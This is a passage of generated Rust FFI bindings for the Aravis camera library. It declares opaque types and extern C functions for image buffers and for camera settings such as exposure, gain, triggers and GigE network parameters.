impl ::std::fmt::Debug for ArvGvFakeCamera {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvFakeCamera @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGvInterface(c_void);
impl ::std::fmt::Debug for ArvGvInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvInterface @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvGvStream(c_void);
impl ::std::fmt::Debug for ArvGvStream {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvGvStream @ {:p}", self))
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvInterface {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvInterface @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
#[derive(Copy, Clone)]
pub struct ArvStream {
pub parent_instance: gobject::GObject,
}
impl ::std::fmt::Debug for ArvStream {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvStream @ {:p}", self))
.field("parent_instance", &self.parent_instance)
.finish()
}
}
#[repr(C)]
pub struct ArvUvDevice(c_void);
impl ::std::fmt::Debug for ArvUvDevice {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvDevice @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvUvInterface(c_void);
impl ::std::fmt::Debug for ArvUvInterface {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvInterface @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvUvStream(c_void);
impl ::std::fmt::Debug for ArvUvStream {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvUvStream @ {:p}", self))
.finish()
}
}
#[repr(C)]
pub struct ArvXmlSchema(c_void);
impl ::std::fmt::Debug for ArvXmlSchema {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
f.debug_struct(&format!("ArvXmlSchema @ {:p}", self))
.finish()
}
}
// Interfaces
#[repr(C)]
pub struct ArvGcFloat(c_void);
impl ::std::fmt::Debug for ArvGcFloat {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
write!(f, "ArvGcFloat @ {:p}", self)
}
}
#[repr(C)]
pub struct ArvGcInteger(c_void);
impl ::std::fmt::Debug for ArvGcInteger {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
write!(f, "ArvGcInteger @ {:p}", self)
}
}
#[repr(C)]
pub struct ArvGcRegister(c_void);
impl ::std::fmt::Debug for ArvGcRegister {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
write!(f, "ArvGcRegister @ {:p}", self)
}
}
#[repr(C)]
pub struct ArvGcSelector(c_void);
impl ::std::fmt::Debug for ArvGcSelector {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
write!(f, "ArvGcSelector @ {:p}", self)
}
}
#[repr(C)]
pub struct ArvGcString(c_void);
impl ::std::fmt::Debug for ArvGcString {
fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result {
write!(f, "ArvGcString @ {:p}", self)
}
}
#[link(name = "aravis-0.8")]
extern "C" {
//=========================================================================
// ArvAccessCheckPolicy
//=========================================================================
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_access_check_policy_get_type() -> GType;
//=========================================================================
// ArvAcquisitionMode
//=========================================================================
pub fn arv_acquisition_mode_get_type() -> GType;
pub fn arv_acquisition_mode_from_string(string: *const c_char) -> ArvAcquisitionMode;
pub fn arv_acquisition_mode_to_string(value: ArvAcquisitionMode) -> *const c_char;
//=========================================================================
// ArvAuto
//=========================================================================
pub fn arv_auto_get_type() -> GType;
pub fn arv_auto_from_string(string: *const c_char) -> ArvAuto;
pub fn arv_auto_to_string(value: ArvAuto) -> *const c_char;
//=========================================================================
// ArvBufferPayloadType
//=========================================================================
pub fn arv_buffer_payload_type_get_type() -> GType;
//=========================================================================
// ArvBufferStatus
//=========================================================================
pub fn arv_buffer_status_get_type() -> GType;
//=========================================================================
// ArvChunkParserError
//=========================================================================
pub fn arv_chunk_parser_error_get_type() -> GType;
pub fn arv_chunk_parser_error_quark() -> glib::GQuark;
//=========================================================================
// ArvDeviceError
//=========================================================================
pub fn arv_device_error_get_type() -> GType;
pub fn arv_device_error_quark() -> glib::GQuark;
//=========================================================================
// ArvDomNodeType
//=========================================================================
pub fn arv_dom_node_type_get_type() -> GType;
//=========================================================================
// ArvExposureMode
//=========================================================================
pub fn arv_exposure_mode_get_type() -> GType;
pub fn arv_exposure_mode_from_string(string: *const c_char) -> ArvExposureMode;
pub fn arv_exposure_mode_to_string(value: ArvExposureMode) -> *const c_char;
//=========================================================================
// ArvGcAccessMode
//=========================================================================
pub fn arv_gc_access_mode_get_type() -> GType;
pub fn arv_gc_access_mode_from_string(string: *const c_char) -> ArvGcAccessMode;
pub fn arv_gc_access_mode_to_string(value: ArvGcAccessMode) -> *const c_char;
//=========================================================================
// ArvGcCachable
//=========================================================================
pub fn arv_gc_cachable_get_type() -> GType;
//=========================================================================
// ArvGcDisplayNotation
//=========================================================================
pub fn arv_gc_display_notation_get_type() -> GType;
//=========================================================================
// ArvGcError
//=========================================================================
pub fn arv_gc_error_get_type() -> GType;
pub fn arv_gc_error_quark() -> glib::GQuark;
//=========================================================================
// ArvGcIsLinear
//=========================================================================
pub fn arv_gc_is_linear_get_type() -> GType;
//=========================================================================
// ArvGcNameSpace
//=========================================================================
pub fn arv_gc_name_space_get_type() -> GType;
//=========================================================================
// ArvGcPropertyNodeType
//=========================================================================
pub fn arv_gc_property_node_type_get_type() -> GType;
//=========================================================================
// ArvGcRepresentation
//=========================================================================
pub fn arv_gc_representation_get_type() -> GType;
//=========================================================================
// ArvGcSignedness
//=========================================================================
pub fn arv_gc_signedness_get_type() -> GType;
//=========================================================================
// ArvGcStreamable
//=========================================================================
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_gc_streamable_get_type() -> GType;
//=========================================================================
// ArvGcVisibility
//=========================================================================
pub fn arv_gc_visibility_get_type() -> GType;
//=========================================================================
// ArvGvIpConfigurationMode
//=========================================================================
pub fn arv_gv_ip_configuration_mode_get_type() -> GType;
//=========================================================================
// ArvGvPacketSizeAdjustment
//=========================================================================
pub fn arv_gv_packet_size_adjustment_get_type() -> GType;
//=========================================================================
// ArvGvStreamOption
//=========================================================================
pub fn arv_gv_stream_option_get_type() -> GType;
//=========================================================================
// ArvGvStreamPacketResend
//=========================================================================
pub fn arv_gv_stream_packet_resend_get_type() -> GType;
//=========================================================================
// ArvGvStreamSocketBuffer
//=========================================================================
pub fn arv_gv_stream_socket_buffer_get_type() -> GType;
//=========================================================================
// ArvRangeCheckPolicy
//=========================================================================
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_range_check_policy_get_type() -> GType;
//=========================================================================
// ArvRegisterCachePolicy
//=========================================================================
pub fn arv_register_cache_policy_get_type() -> GType;
//=========================================================================
// ArvStreamCallbackType
//=========================================================================
pub fn arv_stream_callback_type_get_type() -> GType;
//=========================================================================
// ArvUvUsbMode
//=========================================================================
pub fn arv_uv_usb_mode_get_type() -> GType;
//=========================================================================
// ArvXmlSchemaError
//=========================================================================
pub fn arv_xml_schema_error_get_type() -> GType;
pub fn arv_xml_schema_error_quark() -> glib::GQuark;
//=========================================================================
// ArvBuffer
//=========================================================================
pub fn arv_buffer_get_type() -> GType;
pub fn arv_buffer_new(size: size_t, preallocated: *mut c_void) -> *mut ArvBuffer;
pub fn arv_buffer_new_allocate(size: size_t) -> *mut ArvBuffer;
pub fn arv_buffer_new_full(
size: size_t,
preallocated: *mut c_void,
user_data: *mut c_void,
user_data_destroy_func: glib::GDestroyNotify,
) -> *mut ArvBuffer;
pub fn arv_buffer_get_chunk_data(
buffer: *mut ArvBuffer,
chunk_id: u64,
size: *mut size_t,
) -> *mut u8;
pub fn arv_buffer_get_data(buffer: *mut ArvBuffer, size: *mut size_t) -> *mut u8;
pub fn arv_buffer_get_frame_id(buffer: *mut ArvBuffer) -> u64;
pub fn arv_buffer_get_image_height(buffer: *mut ArvBuffer) -> c_int;
pub fn arv_buffer_get_image_pixel_format(buffer: *mut ArvBuffer) -> ArvPixelFormat;
pub fn arv_buffer_get_image_region(
buffer: *mut ArvBuffer,
x: *mut c_int,
y: *mut c_int,
width: *mut c_int,
height: *mut c_int,
);
pub fn arv_buffer_get_image_width(buffer: *mut ArvBuffer) -> c_int;
pub fn arv_buffer_get_image_x(buffer: *mut ArvBuffer) -> c_int;
pub fn arv_buffer_get_image_y(buffer: *mut ArvBuffer) -> c_int;
pub fn arv_buffer_get_payload_type(buffer: *mut ArvBuffer) -> ArvBufferPayloadType;
pub fn arv_buffer_get_status(buffer: *mut ArvBuffer) -> ArvBufferStatus;
pub fn arv_buffer_get_system_timestamp(buffer: *mut ArvBuffer) -> u64;
pub fn arv_buffer_get_timestamp(buffer: *mut ArvBuffer) -> u64;
pub fn arv_buffer_get_user_data(buffer: *mut ArvBuffer) -> *mut c_void;
pub fn arv_buffer_has_chunks(buffer: *mut ArvBuffer) -> gboolean;
#[cfg(any(feature = "v0_8_3", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_3")))]
pub fn arv_buffer_set_frame_id(buffer: *mut ArvBuffer, frame_id: u64);
pub fn arv_buffer_set_system_timestamp(buffer: *mut ArvBuffer, timestamp_ns: u64);
pub fn arv_buffer_set_timestamp(buffer: *mut ArvBuffer, timestamp_ns: u64);
//=========================================================================
// ArvCamera
//=========================================================================
pub fn arv_camera_get_type() -> GType;
pub fn arv_camera_new(name: *const c_char, error: *mut *mut glib::GError) -> *mut ArvCamera;
#[cfg(any(feature = "v0_8_6", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_6")))]
pub fn arv_camera_new_with_device(
device: *mut ArvDevice,
error: *mut *mut glib::GError,
) -> *mut ArvCamera;
pub fn arv_camera_abort_acquisition(camera: *mut ArvCamera, error: *mut *mut glib::GError);
pub fn arv_camera_acquisition(
camera: *mut ArvCamera,
timeout: u64,
error: *mut *mut glib::GError,
) -> *mut ArvBuffer;
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_camera_are_chunks_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_clear_triggers(camera: *mut ArvCamera, error: *mut *mut glib::GError);
pub fn arv_camera_create_chunk_parser(camera: *mut ArvCamera) -> *mut ArvChunkParser;
pub fn arv_camera_create_stream(
camera: *mut ArvCamera,
callback: ArvStreamCallback,
user_data: *mut c_void,
error: *mut *mut glib::GError,
) -> *mut ArvStream;
pub fn arv_camera_dup_available_enumerations(
camera: *mut ArvCamera,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut i64;
pub fn arv_camera_dup_available_enumerations_as_display_names(
camera: *mut ArvCamera,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_dup_available_enumerations_as_strings(
camera: *mut ArvCamera,
feature: *const c_char,
n_values: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_dup_available_pixel_formats(
camera: *mut ArvCamera,
n_pixel_formats: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut i64;
pub fn arv_camera_dup_available_pixel_formats_as_display_names(
camera: *mut ArvCamera,
n_pixel_formats: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_dup_available_pixel_formats_as_strings(
camera: *mut ArvCamera,
n_pixel_formats: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_dup_available_trigger_sources(
camera: *mut ArvCamera,
n_sources: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_dup_available_triggers(
camera: *mut ArvCamera,
n_triggers: *mut c_uint,
error: *mut *mut glib::GError,
) -> *mut *const c_char;
pub fn arv_camera_execute_command(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_acquisition_mode(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvAcquisitionMode;
pub fn arv_camera_get_binning(
camera: *mut ArvCamera,
dx: *mut c_int,
dy: *mut c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_get_black_level(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_double;
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_get_black_level_auto(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvAuto;
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_get_black_level_bounds(
camera: *mut ArvCamera,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_boolean(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_get_boolean_gi(
camera: *mut ArvCamera,
feature: *const c_char,
value: *mut gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_chunk_mode(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_get_chunk_state(
camera: *mut ArvCamera,
chunk: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_get_device(camera: *mut ArvCamera) -> *mut ArvDevice;
pub fn arv_camera_get_device_id(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_camera_get_device_serial_number(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_exposure_time(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_camera_get_exposure_time_auto(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvAuto;
pub fn arv_camera_get_exposure_time_bounds(
camera: *mut ArvCamera,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_float(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_camera_get_float_bounds(
camera: *mut ArvCamera,
feature: *const c_char,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_16", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_16")))]
pub fn arv_camera_get_float_increment(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_camera_get_frame_count(camera: *mut ArvCamera, error: *mut *mut glib::GError)
-> i64;
pub fn arv_camera_get_frame_count_bounds(
camera: *mut ArvCamera,
min: *mut i64,
max: *mut i64,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_frame_rate(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_double;
pub fn arv_camera_get_frame_rate_bounds(
camera: *mut ArvCamera,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_gain(camera: *mut ArvCamera, error: *mut *mut glib::GError) -> c_double;
pub fn arv_camera_get_gain_auto(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvAuto;
pub fn arv_camera_get_gain_bounds(
camera: *mut ArvCamera,
min: *mut c_double,
max: *mut c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_height_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_height_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_get_integer(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_camera_get_integer_bounds(
camera: *mut ArvCamera,
feature: *const c_char,
min: *mut i64,
max: *mut i64,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_integer_increment(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_camera_get_model_name(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_payload(camera: *mut ArvCamera, error: *mut *mut glib::GError) -> c_uint;
pub fn arv_camera_get_pixel_format(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvPixelFormat;
pub fn arv_camera_get_pixel_format_as_string(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_region(
camera: *mut ArvCamera,
x: *mut c_int,
y: *mut c_int,
width: *mut c_int,
height: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_sensor_size(
camera: *mut ArvCamera,
width: *mut c_int,
height: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_string(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_trigger_source(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_vendor_name(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> *const c_char;
pub fn arv_camera_get_width_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_width_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_get_x_binning_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_x_binning_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_get_x_offset_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_x_offset_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_get_y_binning_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_y_binning_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_get_y_offset_bounds(
camera: *mut ArvCamera,
min: *mut c_int,
max: *mut c_int,
error: *mut *mut glib::GError,
);
pub fn arv_camera_get_y_offset_increment(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_gv_auto_packet_size(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_uint;
pub fn arv_camera_gv_get_current_stream_channel(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_gv_get_ip_configuration_mode(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> ArvGvIpConfigurationMode;
pub fn arv_camera_gv_get_n_stream_channels(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_int;
pub fn arv_camera_gv_get_packet_delay(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> i64;
pub fn arv_camera_gv_get_packet_size(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_uint;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_gv_get_persistent_ip(
camera: *mut ArvCamera,
ip: *mut *mut gio::GInetAddress,
mask: *mut *mut gio::GInetAddressMask,
gateway: *mut *mut gio::GInetAddress,
error: *mut *mut glib::GError,
);
pub fn arv_camera_gv_select_stream_channel(
camera: *mut ArvCamera,
channel_id: c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_gv_set_ip_configuration_mode(
camera: *mut ArvCamera,
mode: ArvGvIpConfigurationMode,
error: *mut *mut glib::GError,
);
pub fn arv_camera_gv_set_packet_delay(
camera: *mut ArvCamera,
delay_ns: i64,
error: *mut *mut glib::GError,
);
pub fn arv_camera_gv_set_packet_size(
camera: *mut ArvCamera,
packet_size: c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_3", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_3")))]
pub fn arv_camera_gv_set_packet_size_adjustment(
camera: *mut ArvCamera,
adjustment: ArvGvPacketSizeAdjustment,
);
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_gv_set_persistent_ip(
camera: *mut ArvCamera,
ip: *mut gio::GInetAddress,
mask: *mut gio::GInetAddressMask,
gateway: *mut gio::GInetAddress,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_gv_set_persistent_ip_from_string(
camera: *mut ArvCamera,
ip: *const c_char,
mask: *const c_char,
gateway: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_gv_set_stream_options(camera: *mut ArvCamera, options: ArvGvStreamOption);
pub fn arv_camera_is_binning_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_is_black_level_auto_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_is_black_level_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
pub fn arv_camera_is_enumeration_entry_available(
camera: *mut ArvCamera,
feature: *const c_char,
entry: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_exposure_auto_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_exposure_time_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_feature_available(
camera: *mut ArvCamera,
feature: *const c_char,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_frame_rate_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_gain_auto_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_gain_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_gv_device(camera: *mut ArvCamera) -> gboolean;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_is_region_offset_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
pub fn arv_camera_is_software_trigger_supported(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_is_uv_device(camera: *mut ArvCamera) -> gboolean;
#[cfg(any(feature = "v0_8_22", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_22")))]
pub fn arv_camera_set_access_check_policy(camera: *mut ArvCamera, policy: ArvAccessCheckPolicy);
pub fn arv_camera_set_acquisition_mode(
camera: *mut ArvCamera,
value: ArvAcquisitionMode,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_binning(
camera: *mut ArvCamera,
dx: c_int,
dy: c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_set_black_level(
camera: *mut ArvCamera,
blacklevel: c_double,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_19", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_19")))]
pub fn arv_camera_set_black_level_auto(
camera: *mut ArvCamera,
auto_mode: ArvAuto,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_boolean(
camera: *mut ArvCamera,
feature: *const c_char,
value: gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_chunk_mode(
camera: *mut ArvCamera,
is_active: gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_chunk_state(
camera: *mut ArvCamera,
chunk: *const c_char,
is_enabled: gboolean,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_chunks(
camera: *mut ArvCamera,
chunk_list: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_exposure_mode(
camera: *mut ArvCamera,
mode: ArvExposureMode,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_exposure_time(
camera: *mut ArvCamera,
exposure_time_us: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_exposure_time_auto(
camera: *mut ArvCamera,
auto_mode: ArvAuto,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_float(
camera: *mut ArvCamera,
feature: *const c_char,
value: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_frame_count(
camera: *mut ArvCamera,
frame_count: i64,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_frame_rate(
camera: *mut ArvCamera,
frame_rate: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_gain(
camera: *mut ArvCamera,
gain: c_double,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_gain_auto(
camera: *mut ArvCamera,
auto_mode: ArvAuto,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_integer(
camera: *mut ArvCamera,
feature: *const c_char,
value: i64,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_pixel_format(
camera: *mut ArvCamera,
format: ArvPixelFormat,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_pixel_format_from_string(
camera: *mut ArvCamera,
format: *const c_char,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_camera_set_range_check_policy(camera: *mut ArvCamera, policy: ArvRangeCheckPolicy);
pub fn arv_camera_set_region(
camera: *mut ArvCamera,
x: c_int,
y: c_int,
width: c_int,
height: c_int,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_8", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_8")))]
pub fn arv_camera_set_register_cache_policy(
camera: *mut ArvCamera,
policy: ArvRegisterCachePolicy,
);
pub fn arv_camera_set_string(
camera: *mut ArvCamera,
feature: *const c_char,
value: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_trigger(
camera: *mut ArvCamera,
source: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_set_trigger_source(
camera: *mut ArvCamera,
source: *const c_char,
error: *mut *mut glib::GError,
);
pub fn arv_camera_software_trigger(camera: *mut ArvCamera, error: *mut *mut glib::GError);
pub fn arv_camera_start_acquisition(camera: *mut ArvCamera, error: *mut *mut glib::GError);
pub fn arv_camera_stop_acquisition(camera: *mut ArvCamera, error: *mut *mut glib::GError);
pub fn arv_camera_uv_get_bandwidth(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> c_uint;
pub fn arv_camera_uv_get_bandwidth_bounds(
camera: *mut ArvCamera,
min: *mut c_uint,
max: *mut c_uint,
error: *mut *mut glib::GError,
);
pub fn arv_camera_uv_is_bandwidth_control_available(
camera: *mut ArvCamera,
error: *mut *mut glib::GError,
) -> gboolean;
pub fn arv_camera_uv_set_bandwidth(
camera: *mut ArvCamera,
bandwidth: c_uint,
error: *mut *mut glib::GError,
);
#[cfg(any(feature = "v0_8_17", feature = "dox"))]
#[cfg_attr(feature = "dox", doc(cfg(feature = "v0_8_17")))]
